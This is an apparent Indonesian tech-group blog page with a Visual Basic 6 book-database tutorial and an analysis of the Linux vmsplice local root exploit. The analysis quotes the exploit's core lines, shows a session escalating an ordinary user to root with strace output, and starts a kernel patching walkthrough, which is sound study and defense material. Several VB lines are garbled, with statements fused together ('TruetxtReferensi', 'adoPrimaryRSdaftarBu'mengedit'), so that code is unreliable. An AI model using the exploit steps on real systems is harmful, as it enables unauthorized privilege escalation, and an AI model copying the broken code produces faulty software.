APA KABAR KAWAN - KAWAN GSONERS, TERIMA KASIH SUDAH MENGUNJUNGI BLOG KAMI DAN SATU LAGI JANGAN LUPA YA KUNJUNGI FORUM DAN GRUP FB KAMI. TERIMA KASIH SALAM TANGAN SILANG DARI KAMI
G-Sonic berdiri pada tanggal 1 Desember 2011 yg awalnya di gawangi oleh :
*Rangga (BSI)
*Ableh (Usni)
*Robby (Usni)
*Kibo (Usni)
*Bobby (IPB)
*Anas (Karyawan)
*Saipul (Uhamka)
*Adi (Usni)
*Rosma (Usni)
*Bella (Usni)
*Nurul (Usni)
*Joe (Gunadarma)
*Khaidar (UI)
*Ricky (UP)

kami sengaja membentuk Forum/Organisasi ini untuk membangun ke solidaritasan antar teknik semua jurusan, tidak membeda-bedakan sesama,menjalin kekompakkan, membentuk kepemimpinan, membangun logika otak masing-masing dan menghasilkan sebuah karya yang bisa bermanfaat bagi semua. Didalamnya terdapat orang-orang yang memiliki jiwa teknik dan siap mengarahkan teman-teman menggapai tujuan yang sudah dituju.
ARTI LAMBANG G : Global = mencakup secara global bagi semua orang ataupun berbeda jurusan namun memiiki jiwa teknik
Petir : Identik dengan Teknik = harus memiliki sikap yang tanggap, cepat dalam merespon, dan cepat dalam bertindak
Percikan = bahwa karya-karya yang dibuat oleh anggota G-Sonic dapat bermanfaat bagi masyarakat luas.
Visi : Gunakanlah Otakmu dan janganlah menggunakan software atau aplikasi selagi masih bisa menggunakan otak dan logika atau jadikanlah dirimu dewasa dan pertahankan arti persahabatan.
Misi : Membangun Jiwa kepemimpinan, menciptakan ide-ide yg brilian, membuat logika dan otak yg berbicara, menghasilkan sebuah karya, membantu lulusan gsonic untuk belajar usaha dan mempunyai pikiran untuk ke depannya nanti.
Semboyan : Keep FriendShip 'N' Brotherhood Forever berbeda tetapi satu, We are not Friend But We Are Family, We are not Hacker, Defacer, Attacker, Cheater and Cracker But We Technical
≈We Life Together
≈We Fight Together
≈We Die Together
≈We Walk Together
Satu Tujuan Kita semua Tanpa ada rasa menyerah, Mari kita berkarya untuk kalian semua Bersama Teknik Kemarin, Hari ini Dan untuk selama-lamanya
*KITA DISINI MENJUNJUNG NAMA TEKNIK*
*KITA DISINI MENJUNJUNG PERSAUDARAAN*
*KITA DISINI SEMUA ADALAH SATU*
Keep N Touch Ur Heart For Teknik Brotherhood
19 Nov 2011

0
Visual Basic – Daftar Buku Project

Sekarang kita mencoba belajar Database visual basic, yaitu database dengan menggunakan Microsoft Office Acces sebagai sumber datanya. Kita akan membuat sebuah aplikasi sederhana “Koleksi Bukuku” yang berfungsi untuk menyimpan daftar koleksi buku yang mungkin sangat banyak dan kita belum sempat melakukan inventarisasi terhadapnya.Saya sendiri sempat terkejut pada saat saya membuat project ini karena ketika saya memasukan data buku-buku saya eh..ternyata jumlahnya lumayan banyak yaitu 45 buku, bayangkan jika semua buku tersebut minimal harganya 25.000 sudah menghabiskan berapa rupiah nih ..???
Tapi semua buku pasti bermanfaat dan saya tentu tidak menyesal untuk membelinya dan memilikinya.
Thanks My Books.
Baik langsung saja yang dibutuhkan dalam project ini adalah :
1. satu form dengan nama main
2. satu dataenvironment dengan nama dataenvironment1
3. datareport dengan nama datareport1
Control yang ada didalam form, yaitu :
1. Imagelist1 sebagai penampung image untuk toolbar
2. Toolbar1 sebagai tempat menampung gambar yang akan dapat di klik langsung oleh user
3. frame1 sebagai tempat
4. tujuh Textbox yaitu txtjudul, txtreferensi, txtpenulis, txtcetakan, txtpenerbit, txtrecordaktif dan txtsearch
5. satu ComboBox yaitu cbosearch
6. satu CommandButton yaitu cmdcari
7. membuat Menubar untuk menampung File, Tambah, Hapus, urut sesuai Judul , urut sesuai Resensi dan seterusnya.
Fasilitas yang ada pada project sederhana ini adalah :
1. Pencarian
2. Tambah data
3. Hapus Data
4. Update data
5. Pembatalan data
6. Simpan data
7. edit data
8. Menampilkan laporan yang lumayan tampilannya
9. Lebih fleksibel karena untuk koneksi ke database menggunakan kode dan tidak menggunakan Adodc yang saya rasa kurang fleksibel dalam koneksi database.
10. navigasi (Next, Previous, First dan Last) yang diletakan di menubar sehingga lebih hemat tempat.
========================================================================================
BACA DAHULU CODE-CODE DIBAWAH INI KHUSUSNYA PADA “MNUITEMREPORT” DAN “CASE LAPORAN”. JANGAN JALANKAN JIKA BELUM DICOMPILE KARENA NANTI WALAUPUN SUDAH ANDA STOP PROJECT ANDA MAKA APLIKASI YANG BERADA DIFOLDER INI YAITU “KOLEKSIBUKUKU.EXE” AKAN DIJALANKAN !!!
BACA ALASANYA DI “MNUITEMREPORT” DAN “CASE LAPORAN”.
========================================================================================
Masukan semua kode di bawah ini dalam form
==============================================
Option Explicit
Private WithEvents adoPrimaryRSdaftarBuku As Recordset
Private Sub CboSearch_Click()
‘jika cbosearch diklik
Select Case CboSearch
‘memilih Judul
Case “Judul”
TxtSearch.Text = “”
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus
Case “Referensi”
TxtSearch.Text = “”
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus
Case “Penulis”
TxtSearch.Text = “”
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus
Case “Penerbit”
TxtSearch.Text = “”
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus
End Select
End Sub
Private Sub DisableSearch()
TxtSearch.Enabled = False
TxtSearch.BackColor = vbWindowText
TxtSearch.Text = “Masukan Kata Kunci Pencarian”
CboSearch.Text = “Pencarian”
End Sub
Private Sub Command1_Click()
If TxtSearch.Text = “” Then
Beep
TxtSearch.SetFocus
Else
‘jika cbosearch dipilih
Select Case CboSearch
Case “Judul”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Judul like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
Case “Referensi”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Referensi like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
Case “Penulis”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Penulis like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
Case “Penerbit”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Penerbit like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
End Select
‘jika data tidak ditemukan maka
If adoPrimaryRSdaftarBuku.EOF Then
MsgBox “Data yang anda cari tidak ditemukan”, vbOKOnly + vbCritical, “Search”
adoPrimaryRSdaftarBuku.MoveFirst
TxtSearch.Text = “”
TxtSearch.SetFocus
End If
End If
On Error GoTo 0
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub Form_Load()
Dim db As Connection
Set db = New Connection
db.CursorLocation = adUseClient
db.Open “PROVIDER=Microsoft.Jet.OLEDB.4.0;” & _
“Data Source=” & App.Path & “\Daftar Buku.mdb;”
Set adoPrimaryRSdaftarBuku = New Recordset
adoPrimaryRSdaftarBuku.Open “TblDaftarBuku”, db, adOpenStatic, adLockOptimistic
‘Bind the ole controls to the data provider
Set txtJudul.DataSource = adoPrimaryRSdaftarBuku
Set txtReferensi.DataSource = adoPrimaryRSdaftarBuku
Set txtPenulis.DataSource = adoPrimaryRSdaftarBuku
Set TxtCetakan.DataSource = adoPrimaryRSdaftarBuku
Set txtPenerbit.DataSource = adoPrimaryRSdaftarBuku
‘mengurutkan berdasarkan field referensi
adoPrimaryRSdaftarBuku.Sort = “Referensi”
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub Form_Unload(Cancel As Integer)
adoPrimaryRSdaftarBuku.Close
End Sub
Private Sub MnuBatal_Click()
DisableSearch
‘disable textbox
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
‘batalkan update kemudian menuju ke record pertama
adoPrimaryRSdaftarBuku.CancelUpdate
adoPrimaryRSdaftarBuku.MoveFirst
End Sub
Private Sub mnuitemabout_Click()
DisableSearch
‘menampilkan pesan mengenai aplikasi
MsgBox “Koleksi Bukuku Version 1.0.0 Oleh Joko”, vbInformation, “Koleksi Bukuku”
End Sub
Private Sub mnuitemadd_Click()
DisableSearch
‘menambah data buku
adoPrimaryRSdaftarBuku.AddNew
‘textbox enable/dapat diisi
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
‘pointer aktif di txtjudul
txtJudul.SetFocus
End Sub
Private Sub mnuitemdelete_Click()
DisableSearch
If txtJudul.Text = “” Then
MsgBox “Minimal Ketik Judul Bukunya dulu.”, vbOKOnly, “Informasi”
txtReferensi.Text = “.”
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
‘Hapus daftar buku record aktif
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
End If
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnuitemedit_Click()
DisableSearch
‘mengaktifkan textbox agar dapat diubah daftar bukunya
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
End Sub
Private Sub mnuitemexit_Click()
‘mengakhiri aplikasi
Unload Me
End Sub
Private Sub mnuitemreport_Click()
DisableSearch
‘INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,
‘SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN
‘PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN
‘MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)
‘SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI
‘KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE…BAGI YANG TAHU BAGI ILMU DONG..
Unload Main ‘MENUTUP APLIKASI
Shell App.Path & “\KOLEKSIBUKUKU.EXE” ‘MEMANGGIL APLIKASI KEMBALI
DataReport1.Show ‘MENAMPILKAN LAPORAN
End Sub
Private Sub mnuitemsave_Click()
DisableSearch
If txtJudul.Text = “” Then
MsgBox “Minimal Ketik Judul Bukunya dulu.”, vbOKOnly, “Informasi”
txtReferensi.Text = “.”
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
‘menyimpan daftar buku yang telah di inputkan
adoPrimaryRSdaftarBuku.Save
End If
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub MnuFirst_Click()
‘menuju ke record pertama
adoPrimaryRSdaftarBuku.MoveFirst
DisableSearch
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub MnuLast_Click()
‘menuju ke record terakhir
adoPrimaryRSdaftarBuku.MoveLast
DisableSearch
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnunext_Click()
‘menuju ke record setelah/ke depan
adoPrimaryRSdaftarBuku.MoveNext
‘jika record sudah sampai pada record yang terakhir maka akan berbunyi nada beep dan record yang aktif adalah record terakhir
If adoPrimaryRSdaftarBuku.EOF Then
Beep
adoPrimaryRSdaftarBuku.MoveLast
End If
DisableSearch
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnuprevious_Click()
adoPrimaryRSdaftarBuku.MovePrevious
‘jika record sudah sampai pada record yang pertama maka akan berbunyi nada beep dan record yang aktif adalah record pertama
If adoPrimaryRSdaftarBuku.BOF Then
Beep
adoPrimaryRSdaftarBuku.MoveFirst
End If
DisableSearch
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub MnuUpdate_Click()
DisableSearch
With adoPrimaryRSdaftarBuku
‘mengedit data pada record aktif
.Clone
!Judul = txtJudul.Text
!Referensi = txtReferensi.Text
!Penulis = txtPenulis.Text
!cetakan = TxtCetakan.Text
!Penerbit = txtPenerbit.Text
‘menyimpan hasil pengeditan data
.Update
End With
If txtJudul.Text = “” Then
MsgBox “Minimal Ketik Judul Bukunya dulu.”, vbOKOnly, “Informasi”
mnuitemdelete_Click
End If
End Sub
Private Sub MnuUrutJudul_Click()
‘mengurutkan berdasarkan field Judul
adoPrimaryRSdaftarBuku.Sort = “Judul”
DisableSearch
End Sub
Private Sub MnuUrutpenerbit_Click()
‘mengurutkan berdasarkan field Penerbit
adoPrimaryRSdaftarBuku.Sort = “Penerbit”
DisableSearch
End Sub
Private Sub MnuUrutPenulis_Click()
‘mengurutkan berdasarkan field Penulis
adoPrimaryRSdaftarBuku.Sort = “Penulis”
DisableSearch
End Sub
Private Sub MnuUrutReferensi_Click()
‘mengurutkan berdasarkan field referensi
adoPrimaryRSdaftarBuku.Sort = “Referensi”
DisableSearch
End Sub
Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
‘menggunakan statemen select case
‘initialisasi toolbar dan isi
Select Case Button.Key
Case “Tambah”
‘disabled TxtSearch
DisableSearch
‘menambah daftar koleksi buku
adoPrimaryRSdaftarBuku.AddNew
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
txtJudul.SetFocus
Case “Simpan”
DisableSearch
If txtJudul.Text = “” Then
MsgBox “Minimal Ketik Judul Bukunya dulu.”, vbOKOnly, “Informasi”
txtReferensi.Text = “.”
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
‘menyimpan daftar buku yang telah di inputkan
adoPrimaryRSdaftarBuku.Save
End If
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
Case “Hapus”
DisableSearch
If txtJudul.Text = “” Then
MsgBox “Minimal Ketik Judul Bukunya dulu.”, vbOKOnly, “Informasit”
txtReferensi.Text = “.”
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
‘Hapus daftar buku record aktif
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
End If
LblRecordAktif.Caption = ” Jumlah Koleksi ” & adoPrimaryRSdaftarBuku.RecordCount & ” Buku” & ” dan Sekarang Posisi di Koleksi Buku ke ” & adoPrimaryRSdaftarBuku.AbsolutePosition
Case “Laporan”
DisableSearch
‘INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,
‘SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN
‘PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN
‘MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)
‘SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI
‘KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE…BAGI YANG TAHU BAGI ILMU DONG..
Unload Main ‘MENUTUP APLIKASI
Shell App.Path & “\KoleksiBukuku.exe” ‘MEMANGGIL APLIKASI KEMBALI
DataReport1.Show ‘MENAMPILKAN LAPORAN
Case “Ubah”
DisableSearch
‘membuat textbox dapat di edit/ubah
txtJudul.Enabled = TruetxtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
Case “Batal”
DisableSearch
‘disable textbox
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
‘batalkan update kemudian menuju ke record pertama
adoPrimaryRSdaftarBuku.CancelUpdate
adoPrimaryRSdaftarBuku.MoveFirst
Case “Update”
DisableSearch
With adoPrimaryRSdaftarBu’mengedit data pada record aktif
.Clone
!Judul = txtJudul.Text
!Referensi = txtReferensi.Text
!Penulis = txtPenulis.Text
!cetakan = TxtCetakan.Text
!Penerbit = txtPenerbit.Text
‘menyimpan hasil pengeditan data
.Update
End With
If txtJudul.Text = “” Then
MsgBox “Minimal Ketik Judul Bukunya dulu.”, vbOKOnly, “Informasi”
mnuitemdelete_Click
End If
Case “Keluar”
‘keluar dari aplikasi
Unload Me
End Select
End Sub
Private Sub TxtSearch_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
On Error Resume Next
‘jika menekan enter
If KeyAscii = 13 Then
TxtSearch.SetFocus
TxtSearch.SelStart = 0
TxtSearch.SelLength = Len(TxtSearch.Text)
‘jika cbosearch dipilih
Select Case CboSearch
Case “Judul”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Judul like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
Case “Referensi”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Referensi like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
Case “Penulis”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Penulis like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
Case “Penerbit”
‘melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find “Penerbit like ‘*” + TxtSearch + “*’”, , adSearchForward, 1
End Select
‘jika data tidak ditemukan maka
If adoPrimaryRSdaftarBuku.EOF Then
MsgBox “Data yang anda cari tidak ditemukan”, vbOKOnly + vbCritical, “Search”
adoPrimaryRSdaftarBuku.MoveFirst
TxtSearch.Text = “”
TxtSearch.SetFocus
End If
End If
On Error GoTo 0
End Sub
=================================================
Letakan kode di bawah ini di Data environment1
=================================================
Private Sub DataEnvironment_Initialize()
‘Selalu terkoneksi dengan database “Daftar Buku.mdb” asalkan masih dalam satu folder dengan aplikasi.
‘Akibat jika anda lupa tdk menulis kode di bawah ini adalah
‘- muncul pesan untuk memasukan alamat yang benar database pada saat akan melihat laporan/report,
‘pesan ini muncul karena anda membuat folder baru untuk meletakkan project sehingga alamat tdk ditemukan
‘untuk latihan jangan tulis kode di bawah ini tetapi melalui Dataenvironment1 klik kanan properties
‘pilih alamat file database “Daftar Buku.mdb”. Kemudian coba jalankan aplikasi dan
‘pilih laporan maka laporan akan terlihat. Sekarang keluar dari VB dan pindahkan folder project anda
‘ke sembarang (alamat baru), jalankan aplikasi database masih terkoneksi
‘tetapi pada saat ingin melihat laporan akan muncul pesan error.
DataEnvironment1.DaftarBuku.ConnectionString = App.Path & “\Daftar Buku.mdb”
End Sub
=====================Selesai======================

0
Root Exploit – Ezine Echo + milw0rm

vmsplice bug analysis

[ Pendahuluan ]

Beberapa waktu yang lalu telah tersebar sebuah “local root exploit”

secara public, sebuah exploit yang sebenarnya tidak terlalu 0day [6] menginggat celah

ini sebenarnya sudah ada seiring dengan keluarnya beberapa “sys call” baru yang dirilis

pada pertengahan tahun 2006 dan di”include”kan sejak kernel versi 2.6.17 dirilis.

Ujicoba ini hanya untuk berbagi cerita tentang bagaimana hal ini bisa terjadi,

poses eksploitasi, exploit yang di rilis ke publik, melakukan “trace” eksploit,

serta mencoba melakukan perbaikan terhadap celah ini dengan salah satu caranya

melakukan patching terhadap sys_call (patching kernel) tersebut dan

melakukan kompile ulang kernel.

Sistem yang digunakan pada ujicoba kali ini adalah :

*mesin i386

*sistem operasi GNU/Linux berdistribusi Gentoo

*kernel 2.6.19-gentoo-r5

*un-patch-ed vmsplice (splice.c) // gentoo 2007-1 default kernel (fresh install)

[ Dasar Teori ]

Vmsplice(), system call ini muncul pertama kali pada kernel versi 2.6.17,

system call ini hanya (spesifik) untuk sistem operasi linux dan berfungsi untuk

memfasilitasi “userspace programs” dengan kontrol penuh terhadap “kernel buffer”,

atau secara lebih spesifik lagi: vmsplice “mengkopikan” data dari “user space” ke dalam “buffer”. [1]

Proses mengkopi disini bukan peristiwa menyalin pada umumnya, tetapi kernel

melakukannya dengan cara mengimplementasikan “pipe buffer”(pipe: interprocess channel)

sebagai sekumpulan “reference-counted pointer” untuk “pages” dari memori kernel.

Kernel akan membuat “salinan” dari “pages” tersebut dengan menciptakan

pointer baru (untuk “output buffer”) yang menunjuk ke “pages”, dan menambah

hitungan reference untuk “pages”; hanya pointer yang di kopikan, bukan pages dari buffer.

Sinopsis :

#define _GNU_SOURCE

#include

#include

long vmsplice(int fd, const struct iovec *iov,

unsigned long nr_segs, unsigned int flags);

Berikut penjelasan dari file splice.c itu sendiri:

—- head -n 19 splice.c —————————————————–

/*

* “splice”: joining two ropes together by interweaving their strands.

*

* This is the “extended pipe” functionality, where a pipe is used as

* an arbitrary in-memory buffer. Think of a pipe as a small kernel

* buffer that you can use to transfer data from one end to the other.

*

* The traditional unix read/write is extended with a “splice()” operation

* that transfers data buffers to or from a pipe buffer.

*

* Named by Larry McVoy, original implementation from Linus, extended by

* Jens to support splicing to files, network, direct splicing, etc and

* fixing lots of bugs.

*

* Copyright (C) 2005-2006 Jens Axboe

* Copyright (C) 2005-2006 Linus Torvalds

* Copyright (C) 2006 Ingo Molnar

*

*/

—- splice.c —————————————————————–

[ Bug ]

Lihatlah Catatan pada manual Vmsplice() itu sendiri

———– man vmsplice —————————————————–

NOTES

vmsplice() follows the other vectorized read/write type functions

when it comes to limitations on number of segments being passed in.

This limit is IOV_MAX as defined in .

At the time of this writing, that limit is 1024.

———– man vmsplice —————————————————–

Sebagaimana terdefinisi di uio.h

—– /usr/include/bits/uio.h Ln 40 ——————————————

#define UIO_MAXIOV 1024

/* Structure for scatter/gather I/O. */

struct iovec

{

void *iov_base; /* Pointer to data. */

size_t iov_len; /* Length of data. */

};

#endif

—– /usr/include/bits/uio.h ————————————————-

Permasalahan ini muncul (juga) di karenakan “sanity check” yang di buatkan untuk

sys_call ini ternyata tidak optimal untuk melindungi dari eksploitasi. Berikut adalah

Sanity check yang tidak sempurna dan mengakibatkan sys call ini masih bisa di buffer overflow,

berikut cek yang dilakukan terhadap “user address base” (splice.c Ln 1221) yang

seharusnya melakukan pemeriksaan terhadap alamat dan panjang “iovec” milik user

dan tidak sempurna, sehingga tetap mengijinkan pengaksesan alamat yang berada diluar

alokasi.

—– vi +1215 splice.c ——————————————————-

/*

* Sanity check this iovec. 0 read succeeds.

*/

if (unlikely(!len))

break;

error = -EFAULT;

if (unlikely(!base))

break;

—- splice.c —————————————————————–

[ Proof Of Concept ]

Exploit vmsplice [4] ini bisa anda dapatkan dengan sangat mudah dan gratis,

tetapi ingatlah untuk terlebih dahulu melakukan checking terhadap exploit yang

anda dapatkan terutama apabila sudah berbentuk file binary/executable. Usahakan

untuk mendapatkan “source code” exploit dan melakukan sendiri kompilasinya setelah

anda memeriksa kodenya. Ada baiknya melakukan ujicobanya di lingkungan virtualisasi

(VMware) untuk meminimalisir efek yang timbul dan mempelajari tingkah laku eksploit

dan sistem setelah di eksploitasi (dan inilah salah satu tujuan kita “hacking”)

||—————————————————————————–

devil@neverland ~/pentest/exploits/minex $ id

uid=1000(devil) gid=100(users) groups=4(adm),10(wheel),11(floppy),18(audio),

19(cdrom),20(dialout),26(tape),100(users),106(lpadmin),443(haldaemon),

444(plugdev),451(wireshark),452(vmware)

devil@neverland ~/pentest/exploits/minex $ ./localexp

———————————–

Linux vmsplice Local Root Exploit

By qaaz

———————————–

[+] mmap: 0×0 .. 0×1000

[+] page: 0×0

[+] page: 0×20

[+] mmap: 0×4000 .. 0×5000

[+] page: 0×4000

[+] page: 0×4020

[+] mmap: 0×1000 .. 0×2000

[+] page: 0×1000

[+] mmap: 0xb7e36000 .. 0xb7e68000

[+] root

neverland minex # id

uid=0(root) gid=0(root) groups=4(adm),10(wheel),11(floppy),18(audio),19(cdrom),

20(dialout),26(tape),100(users),106(lpadmin),443(haldaemon),444(plugdev),

451(wireshark),452(vmware)

||——————————————————————————–

Yupe, “we`ve got r00t”, dan bahkan akan terlihat mudah bagi sebagian orang,

tetapi apakah yang sebenarnya terjadi?

[ Analisa Eksploitasi yang sukses ]

Untuk memulainya analisa ini, sekarang mari kita lihat exploit yang ada, dan dari

potongan tersebut saya ambil inti dari eksploit tersebut (iov_len) [4]

—— vmsplice.exploit.c Ln 280-284 ——————————————

iov.iov_base = map_addr;

iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);

_vmsplice(pi[1], &iov, 1, 0);

—— vmsplice.exploit.c Ln 280-284 ——————————————

Untuk lebih meyakinkan, kita bisa trace dengan menggunakan strace [7] sambil menjalankan

ekploitasi, anda bisa menggunakan debugger dan tracer lainnya, tetapi karena urusan

sytem call maka strace lebih layak untuk di gunakan.

||—————————————————————————–

$strace ./localexp

[truncated]

mmap2(NULL, 204800, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e4a000

write(1, “[+] mmap: 0xb7e4a000 .. 0xb7e7c0″…, 35[+] mmap: 0xb7e4a000 .. 0xb7e7c000

) = 35

munmap(0xb7e7a000, 4096) = 0

pipe([3, 4]) = 0

close(3) = 0

rt_sigaction(SIGPIPE, {0x80489c0, [PIPE], SA_RESTART}, {SIG_DFL}, = 0

vmsplice(0×4, 0xbfe89f08, 0×1, 0

— SIGPIPE (Broken pipe) @ 0 (0) —

<… vmsplice resumed> ) = -1 ENOSYS (Function not implemented)

write(1, “[+] root\n”, 9[+] root

) = 9

[truncated]

||—————————————————————————–

Disini terlihat bahwa “map_addr” menunjuk pada salah satu area dari mmap(),

dan akhirnya menunjukkan tempat yang memiliki panjang (yaitu 4096 atau 46 pages)

lebih dari PIPE_BUFFERS yang tersedia (1024 atau 16 Pages).

Dan oleh karena tidak sempurnanya “sanity check” yang ada (kernel tidak melakukan

pemeriksaan apakah aplikasi tsb(user) memiliki hak untuk menulis ke memori,

lalu meminta kernel untuk mengkopikan aplikasi (potongan kode/eksploit) tersebut

ke memori kernel.

[ Patching Kernel ]

Cara termudah untuk melakukan patching terhadap kernel ataupun aplikasi

adalah dengan cara melakukan upgrade ke versi terbaru yang disediakan oleh

pengembang. Kebiasaan menunggu patch ini umumnya sangat dapat dimaklumi untuk

sistem berbasis “closed source”, sedangkan salah satu kelebihan dari sistem

“open source” adalah patching terhadap celah yang muncul relatif lebih cepat,

dan tiap-tiap individu berkemungkinan untuk melakukan perbaikan.

Sekarang, kita akan melakukan patching kernel secara manual dengan informasi

dari komunitas. Salah satu alasan (pribadi) melakukan hal ini adalah beberapa module

yang tidak kompatibel/berjalan optimal pada kernel terbaru apabila melakukan upgrade

kernel.

Untuk mempermudah pekerjaan anda, maka anda dapat membuat symbolic link untuk

menentukan kernel yang akan anda patch

||—————————————————————————–

devil@neverland /usr/src ~ $ln -s linux-2.6.19-gentoo-r5 linux

||—————————————————————————–

Atau anda bisa menggunakan “eselect” atau “kernel-config” (untuk gentoo)

untuk memilih kernel dan melakukan symbolic link untuk anda.

||—————————————————————————–

devil@neverland ~ $ eselect kernel list

Available kernel symlink targets:

[1] linux-2.6.19-gentoo-r5

[2] linux-2.6.23-gentoo-r3

[3] linux-2.6.23-gentoo-r8

[4] linux-2.6.24-gentoo-r2 *

devil@neverland ~ $ sudo eselect kernel set 1

devil@neverland ~ $ eselect kernel list

Available kernel symlink targets:

[1] linux-2.6.19-gentoo-r5 *

[2] linux-2.6.23-gentoo-r3

[3] linux-2.6.23-gentoo-r8

[4] linux-2.6.24-gentoo-r2

